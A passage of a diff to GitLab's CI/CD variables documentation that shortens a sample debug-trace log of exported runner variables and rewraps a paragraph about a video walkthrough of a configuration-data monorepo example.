ject_unsigned_commits,required_ci_templates,scoped_labels,service_desk,smartcard_auth,group_timelogs,type_of_work_analytics,unprotection_restrictions,ci_project_subscriptions,container_scanning,dast,dependency_scanning,epics,group_ip_restriction,incident_management,insights,license_management,personal_access_token_expiration_policy,pod_logs,prometheus_alerts,pseudonymizer,report_approver_rules,sast,security_dashboard,tracing,web_ide_terminal ++ GITLAB_FEATURES=audit_events,burndown_charts,code_owners,contribution_analytics,description_diffs,elastic_search,group_bulk_edit,group_burndown_charts,group_webhooks,issuable_default_templates,issue_weights,jenkins_integration,ldap_group_sync,member_lock,merge_request_approvers,multiple_issue_assignees,multiple_ldap_servers,multiple_merge_request_assignees,protected_refs_for_users,push_rules,related_issues,repository_mirrors,repository_size_limit,scoped_issue_board,usage_quotas,visual_review_app,wip_limits,adjourned_deletion_for_projects_and_groups,admin_audit_log,auditor_user,batch_comments,blocking_merge_requests,board_assignee_lists,board_milestone_lists,ci_cd_projects,cluster_deployments,code_analytics,code_owner_approval_required,commit_committer_check,cross_project_pipelines,custom_file_templates,custom_file_templates_for_namespace,custom_project_templates,custom_prometheus_metrics,cycle_analytics_for_groups,db_load_balancing,default_project_deletion_protection,dependency_proxy,deploy_board,design_management,email_additional_text,extended_audit_events,external_authorization_service_api_management,feature_flags,file_locks,geo,github_project_service_integration,group_allowed_email_domains,group_project_templates,group_saml,issues_analytics,jira_dev_panel_integration,ldap_group_sync_filter,merge_pipelines,merge_request_performance_metrics,merge_trains,metrics_reports,multiple_approval_rules,multiple_group_issue_boards,object_storage,operations_dashboard,packages,productivity_analytics,project_aliases,protected_environments,reject_unsigned_commits,required_ci_templates,scoped_labels,service_desk,smartcard_auth,group_timelogs,type_of_work_analytics,unprotection_restrictions,ci_project_subscriptions,cluster_health,container_scanning,dast,dependency_scanning,epics,group_ip_restriction,incident_management,insights,license_management,personal_access_token_expiration_policy,pod_logs,prometheus_alerts,pseudonymizer,report_approver_rules,sast,security_dashboard,tracing,web_ide_terminal ++ export CI_PROJECT_ID=17893 @@ -1029,55 +982,17 @@ if [[ -d "/builds/gitlab-examples/ci-debug-trace/.git" ]]; then ++ CI_COMMIT_REF_NAME=master ++ export CI_COMMIT_REF_SLUG=master ++ CI_COMMIT_REF_SLUG=master -++ export CI_COMMIT_MESSAGE=s/CI/Runner -++ CI_COMMIT_MESSAGE=s/CI/Runner -++ export CI_COMMIT_TITLE=s/CI/Runner -++ CI_COMMIT_TITLE=s/CI/Runner -++ export CI_COMMIT_DESCRIPTION= -++ CI_COMMIT_DESCRIPTION= -++ export CI_COMMIT_REF_PROTECTED=true -++ CI_COMMIT_REF_PROTECTED=true -++ export CI_BUILD_REF=dd648b2e48ce6518303b0bb580b2ee32fadaf045 -++ CI_BUILD_REF=dd648b2e48ce6518303b0bb580b2ee32fadaf045 -++ export CI_BUILD_BEFORE_SHA=0000000000000000000000000000000000000000 -++ CI_BUILD_BEFORE_SHA=0000000000000000000000000000000000000000 -++ export CI_BUILD_REF_NAME=master -++ CI_BUILD_REF_NAME=master -++ export CI_BUILD_REF_SLUG=master -++ CI_BUILD_REF_SLUG=master -++ export CI_RUNNER_ID=1337 -++ CI_RUNNER_ID=1337 -++ export CI_RUNNER_DESCRIPTION=shared-runners-manager-4.gitlab.com -++ CI_RUNNER_DESCRIPTION=shared-runners-manager-4.gitlab.com -++ export 'CI_RUNNER_TAGS=gce, east-c, shared, docker, linux, ruby, mysql, postgres, mongo, git-annex' -++ CI_RUNNER_TAGS='gce, east-c, shared, docker, linux, ruby, mysql, postgres, mongo, git-annex' -++ export CI_DEBUG_TRACE=true -++ CI_DEBUG_TRACE=true -++ export GITLAB_USER_ID=42 -++ GITLAB_USER_ID=42 -++ export GITLAB_USER_EMAIL=user@example.com -++ GITLAB_USER_EMAIL=user@example.com -++ export GITLAB_USER_LOGIN=root -++ GITLAB_USER_LOGIN=root -++ export 'GITLAB_USER_NAME=User' -++ GITLAB_USER_NAME='User' -++ export CI_DISPOSABLE_ENVIRONMENT=true -++ CI_DISPOSABLE_ENVIRONMENT=true -++ export CI_RUNNER_VERSION=12.5.0 -++ CI_RUNNER_VERSION=12.5.0 -++ export CI_RUNNER_REVISION=577f813d -++ CI_RUNNER_REVISION=577f813d -++ export CI_RUNNER_EXECUTABLE_ARCH=linux/amd64 -++ CI_RUNNER_EXECUTABLE_ARCH=linux/amd64 -++ export VERY_SECURE_VARIABLE=imaverysecurevariable -++ VERY_SECURE_VARIABLE=imaverysecurevariable ... ``` ## Video walkthrough of a working example -The [Managing the Complex Configuration Data Management Monster Using GitLab](https://www.youtube.com/watch?v=v4ZOJ96hAck) video is a walkthrough of the [Complex Configuration Data Monorepo](https://gitlab.com/guided-explorations/config-data-top-scope/config-data-subscope/config-data-monorepo) working example project. It explains how multiple levels of group CI/CD variables can be combined with environment-scoped project variables for complex configuration of application builds or deployments. +The [Managing the Complex Configuration Data Management Monster Using GitLab](https://www.youtube.com/watch?v=v4ZOJ96hAck) +video is a walkthrough of the [Complex Configuration Data Monorepo](https://gitlab.com/guided-explorations/config-data-top-scope/config-data-subscope/config-data-monorepo) +working example project. It explains how multiple levels of group CI/CD variables +can be combined with environment-scoped project variables for complex configuration +of application builds or deployments. The example can be copied to your own group or instance for testing. More details on what other GitLab CI patterns are demonstrated are available at the project page. |